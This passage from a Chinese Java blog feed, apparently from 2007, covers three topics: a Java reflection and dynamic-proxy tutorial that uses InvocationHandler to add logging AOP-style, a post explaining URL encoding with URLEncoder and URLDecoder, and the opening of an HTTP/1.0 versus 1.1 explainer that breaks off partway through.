&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for&nbsp;&nbsp; ( int&nbsp;&nbsp; i&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; 0 ; i&nbsp;&nbsp; &lt;&nbsp;&nbsp; method.length; i ++ )&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(method[i].getName());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " ---------- " );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Field[] field&nbsp;&nbsp; =&nbsp;&nbsp; clazz.getDeclaredFields();&nbsp;&nbsp; //&nbsp;&nbsp; Field[] <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if&nbsp;&nbsp; (field&nbsp;&nbsp; !=&nbsp;&nbsp;&nbsp; null )&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for&nbsp;&nbsp; ( int&nbsp;&nbsp; i&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; 0 ; i&nbsp;&nbsp; &lt;&nbsp;&nbsp; field.length; i ++ )&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(field[i].getName());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(field[i].getType().getName());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(field[i].get(testRef));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp; 动态生成instance(无参数) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Class clz&nbsp;&nbsp; =&nbsp;&nbsp; Class.forName( " reflection.TestRef " );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Object obj&nbsp;&nbsp; =&nbsp;&nbsp; clz.newInstance();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(((TestRef)obj).getStr());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp; 动态生成instance(有参数) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Class[] params&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; new&nbsp;&nbsp; Class[]&nbsp;&nbsp; {String. class ,&nbsp;&nbsp; int . class ,&nbsp;&nbsp; double . class } ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Constructor construct&nbsp;&nbsp; =&nbsp;&nbsp; clz.getConstructor(params);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp; JDK1.5的情况下可以直接用{"haha",999,100.01}作为参数&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Object obj2&nbsp;&nbsp; =&nbsp;&nbsp; construct.newInstance(new Object[]{"haha",new Integer( 999 ),&nbsp;&nbsp; new&nbsp;&nbsp; Double( 100.01 )} ); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(((TestRef)obj2).getStr());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp; 动态调用method(public method) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Class[] params2&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; new&nbsp;&nbsp; Class[]&nbsp;&nbsp; {String. class } ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Method methods&nbsp;&nbsp; =&nbsp;&nbsp; clz.getMethod( " setStr " , params2);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; methods.invoke(testRef,&nbsp;&nbsp; new&nbsp;&nbsp; Object[]&nbsp;&nbsp; { " invoke method " } );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(testRef.getStr());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp; 动态改变field内容(public field) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Field fields&nbsp;&nbsp; =&nbsp;&nbsp; clz.getField( " str " );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fields.set(testRef,&nbsp;&nbsp; " set field's value " );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(testRef.getStr());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp; TestRef()&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " --- complete TestRef() --- " );<br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp; TestRef(String str,&nbsp;&nbsp; int&nbsp;&nbsp; i,&nbsp;&nbsp; double&nbsp;&nbsp; d)&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this .str&nbsp;&nbsp; =&nbsp;&nbsp; str;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this .i&nbsp;&nbsp; =&nbsp;&nbsp; i;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this .d&nbsp;&nbsp; =&nbsp;&nbsp; d;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println( " --- complete TestRef(String str, int i, double d) --- " );<br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp; String str&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; " I'm a string " ;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp; i&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; 1 ;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; double&nbsp;&nbsp; d&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; 3.14 ;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; HashMap map&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp; new&nbsp;&nbsp; HashMap();</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp;&nbsp; double&nbsp;&nbsp; getD()&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return&nbsp;&nbsp; d;<br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp;&nbsp; void&nbsp;&nbsp; setD( double&nbsp;&nbsp; d)&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this .d&nbsp;&nbsp; =&nbsp;&nbsp; d;<br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp; getI()&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return&nbsp;&nbsp; i;<br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp;&nbsp; void&nbsp;&nbsp; setI( int&nbsp;&nbsp; i)&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this .i&nbsp;&nbsp; =&nbsp;&nbsp; i;<br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp; HashMap getMap()&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return&nbsp;&nbsp; map;<br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp;&nbsp; void&nbsp;&nbsp; setMap(HashMap map)&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this .map&nbsp;&nbsp; =&nbsp;&nbsp; map;<br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp; String getStr()&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return&nbsp;&nbsp; str;<br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public&nbsp;&nbsp;&nbsp; void&nbsp;&nbsp; setStr(String str)&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this .str&nbsp;&nbsp; =&nbsp;&nbsp; str;<br />
&nbsp;&nbsp;&nbsp;&nbsp; } <br />
} </p>
<p>三. 代理(Proxy)<br />
1.<br />
我们直接从代码入手吧，我们可以使用一个动态代理类(Proxy)，通过拦截一个对象的行为并添加我们需要的功能来完成。Java中的java.lang.reflect.Proxy类和java.lang.reflect.InvocationHandler接口为我们实现动态代理类提供了一个方案，但是该方案针对的对象要实现某些接口；如果针对的目的是类的话，cglib为我们提供了另外一个实现方案。等下会说明两者的区别。<br />
一、接口的实现方案：<br />
1）首先编写我们的业务接口（StudentInfoService.java）：<br />
public interface StudentInfoService{<br />
void findInfo(String studentName);<br />
}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 及其实现类（StudentInfoServiceImpl.java）：<br />
public class StudentInfoServiceImpl implements StudentInfoService{<br />
public void findInfo(String name){<br />
&nbsp;&nbsp; System.out.println("你目前输入的名字是:"+name);<br />
}<br />
}<br />
2）现在我们需要一个日志功能，在findInfo行为之前执行并记录其行为，那么我们就首先要拦截该行为。在实际执行的过程中用一个代理类来替我们完成。Java中为我们提供了实现动态代理类的方案：</p>
<p>1'处理拦截目的的类（MyHandler.java）<br />
import org.apache.log4j.Logger;<br />
import java.lang.reflect.InvocationHandler;<br />
import java.lang.reflect.Proxy;<br />
import java.lang.reflect.Method;</p>
<p>public class MyHandler implements InvocationHandler{<br />
private Object proxyObj;<br />
private static Logger log=Logger.getLogger(MyHandler.class);<br />
<br />
public Object bind(Object obj){<br />
&nbsp;&nbsp; this.proxyObj=obj;<br />
&nbsp;&nbsp; return Proxy.newProxyInstance(obj.getClass().getClassLoader(),obj.getClass().getInterfaces(),this);<br />
}<br />
<br />
public Object invoke(Object proxy,Method method,Object[] args) throws Throwable{<br />
&nbsp;&nbsp; Object result=null;<br />
&nbsp;&nbsp; try{<br />
&nbsp;&nbsp;&nbsp; //请在这里插入代码，在方法前调用<br />
&nbsp;&nbsp;&nbsp; log.info("调用log日志方法"+method.getName());<br />
&nbsp;&nbsp;&nbsp; result=method.invoke(proxyObj,args); //原方法<br />
&nbsp;&nbsp;&nbsp; //请在这里插入代码，方法后调用<br />
&nbsp;&nbsp; }catch(Exception e){<br />
&nbsp;&nbsp;&nbsp; e.printStackTrace();<br />
&nbsp;&nbsp; }<br />
&nbsp;&nbsp; return result;<br />
}<br />
}<br />
2'我们实现一个工厂，为了方便我们使用该拦截类(AOPFactory.java)：<br />
public class AOPFactory{<br />
private static Object getClassInstance(String clzName){<br />
&nbsp;&nbsp; Object obj=null;<br />
&nbsp;&nbsp; try{<br />
&nbsp;&nbsp;&nbsp; Class cls=Class.forName(clzName);<br />
&nbsp;&nbsp;&nbsp; obj=(Object)cls.newInstance();<br />
&nbsp;&nbsp; }catch(ClassNotFoundException cnfe){<br />
&nbsp;&nbsp;&nbsp; System.out.println("ClassNotFoundException:"+cnfe.getMessage());<br />
&nbsp;&nbsp; }catch(Exception e){<br />
&nbsp;&nbsp;&nbsp; e.printStackTrace();<br />
&nbsp;&nbsp; }<br />
&nbsp;&nbsp; return obj;<br />
}<br />
<br />
public static Object getAOPProxyedObject(String clzName){<br />
&nbsp;&nbsp; Object proxy=null;<br />
&nbsp;&nbsp; MyHandler handler=new MyHandler();<br />
&nbsp;&nbsp; Object obj=getClassInstance(clzName);<br />
&nbsp;&nbsp; if(obj!=null) {<br />
&nbsp;&nbsp;&nbsp; proxy=handler.bind(obj);<br />
&nbsp;&nbsp; }else{<br />
&nbsp;&nbsp;&nbsp; System.out.println("Can't get the proxyobj");<br />
&nbsp;&nbsp;&nbsp; //throw<br />
&nbsp;&nbsp; }<br />
&nbsp;&nbsp; return proxy;<br />
}<br />
}</p>
<p>3)基本的拦截与其工厂我们都实现了，现在测试（ClientTest.java）：<br />
public class ClientTest{<br />
public static void main(String[] args){<br />
&nbsp;&nbsp; StudentInfoService studentInfo=(StudentInfoService)AOPFactory.getAOPProxyedObject("StudentInfoServiceImpl");<br />
&nbsp;&nbsp; studentInfo.findInfo("阿飞");<br />
}<br />
}<br />
输出结果（看你的log4j设置）：<br />
[INFO]调用log日志方法findInfo<br />
你目前输入的名字是:阿飞<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这样我们需要的效果就出来了，业务处理自己在进行，但是我们实现了日志功能</p>
<p>2.再看一个例子:<br />
　　假设系统由一系列的BusinessObject所完成业务逻辑功能，系统要求在每一次业务逻辑处理时要做日志记录。这里我们略去具体的业务逻辑代码。 </p>
<p>public interface BusinessInterface { <br />
　public void processBusiness(); <br />
} </p>
<p>public class BusinessObject implements BusinessInterface { <br />
　private Logger logger = Logger.getLogger(this.getClass().getName()); <br />
　public void processBusiness(){ <br />
　　try { <br />
　　　logger.info("start to processing..."); <br />
　　　//business logic here. <br />
　　　System.out.println(&#8220;here is business logic&#8221;); <br />
　　　logger.info("end processing..."); <br />
　　} catch (Exception e){ <br />
　　　logger.info("exception happends..."); <br />
　　　//exception handling <br />
　　} <br />
　} <br />
} </p>
<p>　　这里处理商业逻辑的代码和日志记录代码混合在一起，这给日后的维护带来一定的困难，并且也会造成大量的代码重复。完全相同的log代码将出现在系统的每一个BusinessObject中。 </p>
<p>按照AOP的思想，我们应该把日志记录代码分离出来。要将这些代码分离就涉及到一个问题，我们必须知道商业逻辑代码何时被调用，这样我们好插入日志记录代码。一般来说要截获一个方法，我们可以采用回调方法或者动态代理。动态代理一般要更加灵活一些，目前多数的AOP Framework也大都采用了动态代理来实现。这里我们也采用动态代理作为例子。 <br />
JDK1.2以后提供了动态代理的支持，程序员通过实现java.lang.reflect.InvocationHandler接口提供一个执行处理器，然后通过java.lang.reflect.Proxy得到一个代理对象，通过这个代理对象来执行商业方法,在商业方法被调用的同时，执行处理器会被自动调用。 </p>
<p>　　有了JDK的这种支持，我们所要做的仅仅是提供一个日志处理器。 </p>
<p>public class LogHandler implements InvocationHandler { </p>
<p>　private Logger logger ＝ Logger.getLogger(this.getClass().getName()); <br />
　　private Object delegate; <br />
　　public LogHandler(Object delegate){ <br />
　　　this.delegate = delegate; <br />
　　} </p>
<p>　public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { <br />
　　Object o = null; <br />
　　try { <br />
　　　logger.info("method stats..." ＋ method); <br />
　　　o = method.invoke(delegate,args); <br />
　　　logger.info("method ends..." + method); <br />
　　} catch (Exception e){ <br />
　　　logger.info("Exception happends..."); <br />
　　　//excetpion handling. <br />
　　} <br />
　　return o; <br />
　} <br />
} </p>
<p>　　现在我们可以把BusinessObject里面的所有日志处理代码全部去掉了。 </p>
<p>public class BusinessObject implements BusinessInterface { </p>
<p>　private Logger logger = Logger.getLogger(this.getClass().getName()); <br />
　public void processBusiness(){ <br />
　　//business processing <br />
　　System.out.println(&#8220;here is business logic&#8221;); <br />
　} <br />
} </p>
<p>　　客户端调用商业方法的代码如下：</p>
<p>BusinessInterface businessImp = new BusinessObject(); </p>
<p>InvocationHandler handler = new LogHandler(businessImp); </p>
<p>BusinessInterface proxy = (BusinessInterface) Proxy.newProxyInstance( <br />
　businessImp.getClass().getClassLoader(), <br />
　businessImp.getClass().getInterfaces(), <br />
　handler); </p>
<p>proxy.processBusiness(); </p>
<p>　　程序输出如下： </p>
<p>INFO: method stats... <br />
here is business logic <br />
INFO: method ends... </p>
<p>　　至此我们的第一次小尝试算是完成了。可以看到，采用AOP之后，日志记录和业务逻辑代码完全分开了，以后要改变日志记录的话只需要修改日志记录处理器就行了，而业务对象本身（BusinessObject）无需做任何修改。并且这个日志记录不会造成重复代码了，所有的商业处理对象都可以重用这个日志处理器。</p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/143433.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-09-07 15:36 <a href="http://www.blogjava.net/WshmAndLily/articles/143433.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>URL编码</title><link>http://www.blogjava.net/WshmAndLily/articles/143432.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 07 Sep 2007 07:34:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/143432.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/143432.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/143432.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/143432.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/143432.html</trackback:ping><description><![CDATA[<p>什么是URL编码? 当浏览器访问www服务器上的网页文件时,需要使用HTTP协议进行通信,在HTTP协议中,浏览器不能向服务器直接传递某些特殊字符,就必须对这些字符进行URL编码再传送,其规则如下:<br />
1.将空格转换成加号(+);<br />
2.对0~9,a~z,A~Z之间的字符保持不变;<br />
3.对于其他的所有字符,用这个字符的当前字符集编码在内存中的十六进制格式表示,并在每个十六进制字节前加上一个百分号"%",例如,字符"+"用%2B表示,每个只用GB2312编码的中文字符在内存中的占两个字节,字符"中"用%D6%D0表示.值得注意的是,同一个中文字符在不同的字符集编码方式下,在内存中的编码值也是不一样的,一个字符的URL编码是针对字符在内存中的编码值而言的,采用不同编码的同一个字符的URL编码结果是不一样的.</p>
<p>在JAVA API中的java.net包中提供了URLEncoder和URLDecoder两个类,供我们方便实现URL编码和解码.下面来看几个小例子:<br />
1.对于空格也可以直接使用其十六进制编码方式,即用%20表示,而不是转换成+号,按照上面说的第三条,很显然%20是可以解码成空格的.如下两个URL字符串的效果是一样的:<br />
<a href="http://www.baidu.com/search.html?name=a+b&amp;password=123">http://www.baidu.com/search.html?name=a+b&amp;password=123</a><br />
<a href="http://www.baidu.com/search.html?name=a%20b&amp;password=123">http://www.baidu.com/search.html?name=a%20b&amp;password=123</a><br />
2.如果确信URL串中的特殊字符不会引起歧义,也可以不对它们进行编码,例如:<br />
<a href="http://www.baidu.com/search.html?name">http://www.baidu.com/search.html?name</a>=中国&amp;password=123<br />
<a href="http://www.baidu.com/search.html?name=%D6%D0%B9%FA&amp;password=123">http://www.baidu.com/search.html?name=%D6%D0%B9%FA&amp;password=123</a><br />
上面的两个URL字符串,不管是否对其进行URL编码,结果都是一样的,注意:虽然规定了除数字和英文字符不对其URL编码,但这并不等于必须对其URL编码,只有在有可能引起歧义或冲突时才是必需的.看下面的例子:<br />
如果要传递的name是"中+国",如果不对其进行URL编码,服务器就会认为传过来的是"中 国"."中&amp;国"如果不进行URL编码就传给服务器变成了<br />
<a href="http://www.baidu.com/search.html?name">http://www.baidu.com/search.html?name</a>=中&amp;国&amp;password=123<br />
我们知道,&amp;这个字符在URL中是有特殊含义的.所以这个查询字符串的服务器端就被分成三段来解释.这样就不可能达到预期的结果.所以对这样的字符就必须进行URL编码. </p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/143432.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-09-07 15:34 <a href="http://www.blogjava.net/WshmAndLily/articles/143432.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>HTTP协议精解</title><link>http://www.blogjava.net/WshmAndLily/articles/143431.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 07 Sep 2007 07:33:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/143431.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/143431.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/143431.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/143431.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/143431.html</trackback:ping><description><![CDATA[WEB服务器和浏览器之间的一问一答的交互过程也得遵循一定的规则，这个规则就是HTTP协议。它是TCP/IP协议集中的一个应用层协议，用于定义浏览器和WEB服务器之间交换数据过程以及数据本身的格式。现在被广泛使用的HTTP/1.1相对HTTP/1.0而言，最大的特点就是支持持续连接。
<p>1.HTTP/1.0的会话方式：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 建立连接，发送请求信息&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --------------------------------------------------------------------------&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 客户机&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 服务器<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;--------------------------------------------------------------------------<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关闭连接，回送响应消息</p>
<p>每次连接只处理一个请求，即使是对同一个网站的每一个页面的访问，浏览器和WEB服务器都要建立一次单独的连接。</p>
<p>2.HTTP/1.1的会话方式：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 建立连接，第1个请求信息&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --------------------------------------------------------------------------&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ............<br />
